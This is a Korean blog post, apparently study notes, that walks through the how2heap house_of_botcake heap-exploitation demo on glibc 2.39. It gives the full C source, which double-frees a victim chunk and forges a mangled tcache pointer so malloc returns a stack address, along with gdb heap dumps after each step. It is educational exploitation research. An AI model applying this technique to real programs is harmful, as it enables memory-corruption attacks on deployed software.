콘텐츠로 건너뛰기

[how2heap/glibc2.39] house_of_botcake

환경

Ubuntu GLIBC 2.39-0ubuntu8.4 / Ubuntu 24.04.1 LTS x86_64

요약

free시켰을때 tcache인 경우, safe-linking 보호기법이 적용되지만
unsorted bin인 경우, safe-linking 보호기법이 적용되지 않는다!

해당 기법은 tcache-poisoning 기법을 통해 메모리 할당받때
스택 범위 주소로 할당받는 기법 중 하나이다.

방법은 다음과 같다.

1. 추후 free를 통해 tcache 리스트를 채우기 위해 7개의 청크((malloc(0x100))를 할당한다.

2. 추후 병합을 위해 prev라는 청크 하나를 할당(malloc(0x100)),
a victim 청크 하나 할당(malloc(0x100),
그리고 병합방지를 위해 패딩 청크 하나 할당한다.(malloc(0x10))

3. 이제 청크 오버래핑(chunk overlapping)을 발생시킬 수 있다.
1번 과정에 있었던 x[0]~x[6]까지 모두 할당해제한다. 이는 tcache를 전부 채우기 위함.

4. victim a 청크를 해제하여 unsorted bin에 추가되도록 만든다.

5. prev 청크를 해제하여 victim a 청크와 병합(consolidate)되도록 만든다.

6. tcache 리스트에서 하나 꺼내고, (malloc(0x100)),
a victim 청크를 다시 해제하여(free(a)) tcache 리스트에 추가한다.

  1. 이제 청크 오버래핑 프리미티브를 확보했다.
    이 프리미티브를 통해 객체, 힙 메타데이터 등을 직접 읽고 쓸 수 있다.

아래에서는 tcache-poisoning 공격기법을 사용한다.

  1. unsorted bin에서 오버래핑된 청크를 가져온다..
    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
    → malloc(prev_sz + a victim sz + 0x10)
  2. 오버래핑된 청크를 사용해 victim->next 포인터를 제어한다.
    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
    -> free된 victim a의 fd값을 원하는 주소값(eg.target; 스택범위 주소)으로 조작 (safe-linking 적용 필요).

8. tcache에서 a victim 청크를 다시 가져온다. (a = malloc(0x100))
이렇게 하면 target이 tcache 맨 위에 위치하게 된다.

9. tcache에서 target 청크를 가져온다. (intptr_t *target = malloc(0x100);)
가져오면, 스택 범위의 주소로 할당받게 된다!

빌드 특이사항

-Os 옵션으로 컴파일하면 안됨.

gcc -O0 -o house_of_botcake house_of_botcake.c

내용

이 공격은 다음 커밋에서 도입된 제약을 우회해야 합니다: https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d

만약 사용하는 libc에 해당 제약이 포함되어 있지 않다면, victim을 이중 해제(double free)한 후 단순한 tcache 포이즈닝(tcache poisoning)을 수행할 수 있습니다. 그리고 이 기법의 이상한 이름에 대해 @anton00b 및 @subwire에게 감사드립니다.

1.

먼저, 버퍼링을 비활성화하여 _IO_FILE이 힙에 간섭하지 않도록 합니다.

이 파일은 malloc을 속여 임의의 위치(이 데모에서는 스택)에 대한 포인터를 반환하도록 만드는 강력한 tcache poisoning attack을 보여줍니다. 이 공격은 오직 double free에만 의존합니다.

malloc()이 반환하도록 만들고자 하는 주소, 즉 타겟 주소는 스택 범위인 0x7fffffffe020이다.

힙 레이아웃 준비히는데 앞서,
나중에 tcache 리스트를 채우기 위해 7개의 청크((malloc(0x100))를 할당한다.

코드:

int main()
{
    /*
     * This attack should bypass the restriction introduced in
     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */

    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // introduction
    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\n");

    // prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\n\n", stack_var);

    // prepare heap layout
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }

결과:

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x110                Used                None              None
0x5555555593a0      0x0                 0x110                Used                None              None
0x5555555594b0      0x0                 0x110                Used                None              None
0x5555555595c0      0x0                 0x110                Used                None              None
0x5555555596d0      0x0                 0x110                Used                None              None
0x5555555597e0      0x0                 0x110                Used                None              None
0x5555555598f0      0x0                 0x110                Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559a00 (size : 0x20600)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
gdb-peda$

2.

나중에 병합(consolidation)을 위해 청크 하나를 할당함: 이전(prev) 주소 @ 0x555555559a10

피해자(victim) 청크를 할당함: a @ 0x555555559b20

병합을 방지하기 위해 패딩 청크를 할당함.

코드:

    intptr_t *prev = malloc(0x100);
    printf("Allocating a chunk for later consolidation: prev @ %p\n", prev);
    intptr_t *a = malloc(0x100);
    printf("Allocating the victim chunk: a @ %p\n", a);
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);

결과:

Allocating a chunk for later consolidation: prev @ 0x555555559a10
Allocating the victim chunk: a @ 0x555555559b20
Allocating a padding to prevent consolidation.
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x110                Used                None              None
0x5555555593a0      0x0                 0x110                Used                None              None
0x5555555594b0      0x0                 0x110                Used                None              None
0x5555555595c0      0x0                 0x110                Used                None              None
0x5555555596d0      0x0                 0x110                Used                None              None
0x5555555597e0      0x0                 0x110                Used                None              None
0x5555555598f0      0x0                 0x110                Used                None              None
0x555555559a00      0x0                 0x110                Used                None              None
0x555555559b10      0x0                 0x110                Used                None              None
0x555555559c20      0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559c40 (size : 0x203c0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
gdb-peda$

3.

이제 청크 오버래핑(chunk overlapping)을 발생시킬 수 있음.
x[0]~x[6]까지 할당해제함. 이는 tcache를 전부 채우기 위함.

코드:

// cause chunk overlapping
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }

결과:

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x110                Freed        0x555555559              None
0x5555555593a0      0x0                 0x110                Freed     0x55500000c7f9              None
0x5555555594b0      0x0                 0x110                Freed     0x55500000c6e9              None
0x5555555595c0      0x0                 0x110                Freed     0x55500000c199              None
0x5555555596d0      0x0                 0x110                Freed     0x55500000c089              None
0x5555555597e0      0x0                 0x110                Freed     0x55500000c3b9              None
0x5555555598f0      0x0                 0x110                Freed     0x55500000c2a9              None
0x555555559a00      0x0                 0x110                Used                None              None
0x555555559b10      0x0                 0x110                Used                None              None
0x555555559c20      0x0                 0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559c40 (size : 0x203c0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x110)   tcache_entry[15](7): 0x555555559900 --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0
gdb-peda$

4.

2단계: victim a 청크를 해제하여 unsorted bin에 추가되도록 만든다.

malloc으로 144바이트 이하(내부 청크 크기는 160바이트 이하)를 요청하면 해당 청크는 fastbin에 해당되고,
fastbin의 최대 내부 청크크기인 160바이트를 초과하면 unsorted bin에 해당된다.

따라서 victim a를 free시킨다면, 초과하므로 unsorted bin에 해당된다.

unsorted bin인 경우, safe-linking이 적용되지 않는다.

코드:

    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);

결과:

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x110                Freed        0x555555559              None
0x5555555593a0      0x0                 0x110                Freed     0x55500000c7f9              None
0x5555555594b0      0x0                 0x110                Freed     0x55500000c6e9              None
0x5555555595c0      0x0                 0x110                Freed     0x55500000c199              None
0x5555555596d0      0x0                 0x110                Freed     0x55500000c089              None
0x5555555597e0      0x0                 0x110                Freed     0x55500000c3b9              None
0x5555555598f0      0x0                 0x110                Freed     0x55500000c2a9              None
0x555555559a00      0x0                 0x110                Used                None              None
0x555555559b10      0x0                 0x110                Freed     0x7ffff7e03b20    0x7ffff7e03b20
0x555555559c20      0x110               0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559c40 (size : 0x203c0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x555555559b10 (size : 0x110)
(0x110)   tcache_entry[15](7): 0x555555559900 --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0
gdb-peda$

5.

3단계: prev 청크를 해제하여 victim a 청크와 병합(consolidate)되도록 만들기.

코드:

    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);

결과:

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x110                Freed        0x555555559              None
0x5555555593a0      0x0                 0x110                Freed     0x55500000c7f9              None
0x5555555594b0      0x0                 0x110                Freed     0x55500000c6e9              None
0x5555555595c0      0x0                 0x110                Freed     0x55500000c199              None
0x5555555596d0      0x0                 0x110                Freed     0x55500000c089              None
0x5555555597e0      0x0                 0x110                Freed     0x55500000c3b9              None
0x5555555598f0      0x0                 0x110                Freed     0x55500000c2a9              None
0x555555559a00      0x0                 0x220                Freed     0x7ffff7e03b20    0x7ffff7e03b20
0x555555559c20      0x220               0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559c40 (size : 0x203c0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x555555559a00 (size : 0x220)
(0x110)   tcache_entry[15](7): 0x555555559900 --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0
gdb-peda$

6.

4단계: tcache 리스트에서 하나를 꺼낸 뒤, a victim 청크를 다시 해제하여 tcache 리스트에 추가한다.

코드:

malloc(0x100);

결과:

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x110                Freed        0x555555559              None
0x5555555593a0      0x0                 0x110                Freed     0x55500000c7f9              None
0x5555555594b0      0x0                 0x110                Freed     0x55500000c6e9              None
0x5555555595c0      0x0                 0x110                Freed     0x55500000c199              None
0x5555555596d0      0x0                 0x110                Freed     0x55500000c089              None
0x5555555597e0      0x0                 0x110                Freed     0x55500000c3b9              None
0x5555555598f0      0x0                 0x110                Freed     0x55500000c2a9              None
0x555555559a00      0x0                 0x220                Freed     0x7ffff7e03b20    0x7ffff7e03b20
0x555555559c20      0x220               0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559c40 (size : 0x203c0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x555555559a00 (size : 0x220)
(0x110)   tcache_entry[15](6): 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0
gdb-peda$

코드2:

    /*VULNERABILITY*/
    free(a);// a is already freed
    /*VULNERABILITY*/

결과2:

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x110                Freed        0x555555559              None
0x5555555593a0      0x0                 0x110                Freed     0x55500000c7f9              None
0x5555555594b0      0x0                 0x110                Freed     0x55500000c6e9              None
0x5555555595c0      0x0                 0x110                Freed     0x55500000c199              None
0x5555555596d0      0x0                 0x110                Freed     0x55500000c089              None
0x5555555597e0      0x0                 0x110                Freed     0x55500000c3b9              None
0x5555555598f0      0x0                 0x110                Freed     0x55500000c2a9              None
0x555555559a00      0x0                 0x220                Freed     0x7ffff7e03b20    0x7ffff7e03b20
0x555555559c20      0x220               0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559c40 (size : 0x203c0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x555555559a00 (overlap chunk with 0x555555559b10(freed) )
(0x110)   tcache_entry[15](7): 0x555555559b20 --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0
gdb-peda$

7.

이제 우리는 청크 오버래핑 프리미티브를 확보했습니다:

이 프리미티브를 통해 객체, 힙 메타데이터 등을 직접 읽고 쓸 수 있습니다.

아래에서는 청크 오버래핑 프리미티브를 사용하여 tcache 포이즈닝 공격을 수행합니다.

  1. unsorted bin에서 오버래핑된 청크를 가져옵니다.
  2. 오버래핑된 청크를 사용해 victim->next 포인터를 제어합니다.

코드:

    puts("Now we have the chunk overlapping primitive:");
    puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
    puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");

    puts("Get the overlapping chunk from the unsorted bin.");
    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
    puts("Use the overlapping chunk to control victim->next pointer.");
    // mangle the pointer since glibc 2.32
    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;

결과:

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x110                Used                None              None
0x5555555593a0      0x0                 0x110                Used                None              None
0x5555555594b0      0x0                 0x110                Used                None              None
0x5555555595c0      0x0                 0x110                Used                None              None
0x5555555596d0      0x0                 0x110                Used                None              None
0x5555555597e0      0x0                 0x110                Used                None              None
0x5555555598f0      0x0                 0x110                Used                None              None
0x555555559a00      0x0                 0x220                Used                None              None
0x555555559c20      0x220               0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559c40 (size : 0x203c0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x110)   tcache_entry[15](7): 0x555555559b20 --> 0x7fffffffe030 --> 0xadfffffff8 (invaild memory)
gdb-peda$

8.

tcache에서 a victim 청크를 다시 가져옵니다.
이렇게 하면 target이 tcache 맨 위에 위치하게 됩니다.

코드:

    puts("Get back victim chunk from tcache. This will put target to tcache top.");
    a = malloc(0x100);
    int a_size = a[-1] & 0xff0;
    printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);

결과:

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x110                Used                None              None
0x5555555593a0      0x0                 0x110                Used                None              None
0x5555555594b0      0x0                 0x110                Used                None              None
0x5555555595c0      0x0                 0x110                Used                None              None
0x5555555596d0      0x0                 0x110                Used                None              None
0x5555555597e0      0x0                 0x110                Used                None              None
0x5555555598f0      0x0                 0x110                Used                None              None
0x555555559a00      0x0                 0x220                Used                None              None
0x555555559c20      0x220               0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559c40 (size : 0x203c0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x110)   tcache_entry[15](6): 0x7fffffffe030 --> 0xadfffffff8 (invaild memory)
gdb-peda$

9.

tcache에서 target 청크를 가져옵니다.
가져오면, 스택 범위의 주소로 할당받게 되며, 0xcafebabe 값을 써봅니다.

코드:

    puts("Get the target chunk from tcache.");
    intptr_t *target = malloc(0x100);
    target[0] = 0xcafebabe;

    printf("target @ %p == stack_var @ %p\n", target, stack_var);
    assert(stack_var[0] == 0xcafebabe);
    return 0;
}

결과:

Get the target chunk from tcache.
target @ 0x7fffffffe030 == stack_var @ 0x7fffffffe030
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x110                Used                None              None
0x5555555593a0      0x0                 0x110                Used                None              None
0x5555555594b0      0x0                 0x110                Used                None              None
0x5555555595c0      0x0                 0x110                Used                None              None
0x5555555596d0      0x0                 0x110                Used                None              None
0x5555555597e0      0x0                 0x110                Used                None              None
0x5555555598f0      0x0                 0x110                Used                None              None
0x555555559a00      0x0                 0x220                Used                None              None
0x555555559c20      0x220               0x20                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559c40 (size : 0x203c0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x110)   tcache_entry[15](5): 0xadfffffff8 (invaild memory)
gdb-peda$